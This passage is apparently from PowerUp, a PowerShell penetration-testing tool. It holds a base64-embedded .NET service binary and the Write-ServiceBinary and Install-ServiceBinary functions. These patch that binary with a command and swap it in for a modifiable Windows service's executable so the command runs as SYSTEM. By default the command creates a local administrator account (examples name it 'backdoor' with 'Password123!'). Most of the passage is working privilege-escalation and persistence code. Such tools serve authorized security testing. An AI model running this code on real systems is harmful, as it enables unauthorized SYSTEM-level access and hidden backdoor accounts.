AgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA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"
1983 [Byte[]] $Binary = [Byte[]][Convert]::FromBase64String($B64Binary)
1984
1985 if($PSBoundParameters['Command']) {
1986 $ServiceCommand = $Command
1987 }
1988 else {
1989 if($PSBoundParameters['Credential']) {
1990 $UserNameToAdd = $Credential.UserName
1991 $PasswordToAdd = $Credential.GetNetworkCredential().Password
1992 }
1993 else {
1994 $UserNameToAdd = $UserName
1995 $PasswordToAdd = $Password
1996 }
1997
1998 if($UserNameToAdd.Contains('\')) {
1999 # only adding a domain user to the local group, no user creation
2000 $ServiceCommand = "net localgroup $LocalGroup $UserNameToAdd /add"
2001 }
2002 else {
2003 # create a local user and add it to the local specified group
2004 $ServiceCommand = "net user $UserNameToAdd $PasswordToAdd /add && timeout /t 5 && net localgroup $LocalGroup $UserNameToAdd /add"
2005 }
2006 }
2007 }
2008
2009 PROCESS {
2010
2011 $TargetService = Get-Service -Name $Name
2012
2013 # get the unicode byte conversions of all arguments
2014 $Enc = [System.Text.Encoding]::Unicode
2015 $ServiceNameBytes = $Enc.GetBytes($TargetService.Name)
2016 $CommandBytes = $Enc.GetBytes($ServiceCommand)
2017
2018 # patch all values in to their appropriate locations
2019 for ($i=0; $i -lt ($ServiceNameBytes.Length); $i++) {
2020 # service name offset = 2458
2021 $Binary[$i+2458] = $ServiceNameBytes[$i]
2022 }
2023 for ($i=0; $i -lt ($CommandBytes.Length); $i++) {
2024 # cmd offset = 2535
2025 $Binary[$i+2535] = $CommandBytes[$i]
2026 }
2027
2028 Set-Content -Value $Binary -Encoding Byte -Path $Path -Force -ErrorAction Stop
2029
2030 $Out = New-Object PSObject
2031 $Out | Add-Member Noteproperty 'ServiceName' $TargetService.Name
2032 $Out | Add-Member Noteproperty 'Path' $Path
2033 $Out | Add-Member Noteproperty 'Command' $ServiceCommand
2034 $Out
2035 }
2036}
2037
2038
2039function Install-ServiceBinary {
2040<#
2041 .SYNOPSIS
2042
2043 Replaces the service binary for the specified service with one that executes
2044 a specified command as SYSTEM.
2045
2046 Author: @harmj0y
2047 License: BSD 3-Clause
2048
2049 .DESCRIPTION
2050
2051 Takes a esrvice Name or a ServiceProcess.ServiceController on the pipeline where the
2052 current user can modify the associated service binary listed in the binPath. Backs up
2053 the original service binary to "OriginalService.exe.bak" in service binary location,
2054 and then uses Write-ServiceBinary to create a C# service binary that either adds
2055 a local administrator user or executes a custom command. The new service binary is
2056 replaced in the original service binary path, and a custom object is returned that
2057 captures the original and new service binary configuration.
2058
2059 .PARAMETER Name
2060
2061 The service name the EXE will be running under.
2062
2063 .PARAMETER UserName
2064
2065 The [domain\]username to add. If not given, it defaults to "john".
2066 Domain users are not created, only added to the specified localgroup.
2067
2068 .PARAMETER Password
2069
2070 The password to set for the added user. If not given, it defaults to "Password123!"
2071
2072 .PARAMETER LocalGroup
2073
2074 Local group name to add the user to (default of 'Administrators').
2075
2076 .PARAMETER Credential
2077
2078 A [Management.Automation.PSCredential] object specifying the user/password to add.
2079
2080 .PARAMETER Command
2081
2082 Custom command to execute instead of user creation.
2083
2084 .EXAMPLE
2085
2086 PS C:\> Install-ServiceBinary -Name VulnSVC
2087
2088 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2089 for VulnSVC with one that adds a local Administrator (john/Password123!).
2090
2091 .EXAMPLE
2092
2093 PS C:\> Get-Service VulnSVC | Install-ServiceBinary
2094
2095 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2096 for VulnSVC with one that adds a local Administrator (john/Password123!).
2097
2098 .EXAMPLE
2099
2100 PS C:\> Install-ServiceBinary -Name VulnSVC -UserName 'TESTLAB\john'
2101
2102 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2103 for VulnSVC with one that adds TESTLAB\john to the Administrators local group.
2104
2105 .EXAMPLE
2106
2107 PS C:\> Install-ServiceBinary -Name VulnSVC -UserName backdoor -Password Password123!
2108
2109 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2110 for VulnSVC with one that adds a local Administrator (backdoor/Password123!).
2111
2112 .EXAMPLE
2113
2114 PS C:\> Install-ServiceBinary -Name VulnSVC -Command "net ..."
2115
2116 Backs up the original service binary to SERVICE_PATH.exe.bak and replaces the binary
2117 for VulnSVC with one that executes a custom command.
2118#>
2119
2120 Param(
2121 [Parameter(Position=0, Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]
2122 [Alias('ServiceName')]
2123 [String]
2124 [ValidateNotNullOrEmpty()]
2125 $Name,
2126
2127 [String]
2128 $UserName = 'john',
2129
2130 [String]
2131 $Password = 'Password123!',
2132
2133 [String]
2134 $LocalGroup = 'Administrators',
2135
2136 [Management.Automation.PSCredential]
2137 $Credential,
2138
2139 [String]
2140 [ValidateNotNullOrEmpty()]
2141 $Command
2142 )
2143
2144 BEGIN {
2145 if($PSBoundParameters['Command']) {
2146 $ServiceCommand = $Command
2147 }
2148 else {
2149 if($PSBoundParameters['Credential']) {
2150 $UserNameToAdd = $Credential.UserName
2151 $PasswordToAdd = $Credential.GetNetworkCredential().Password
2152 }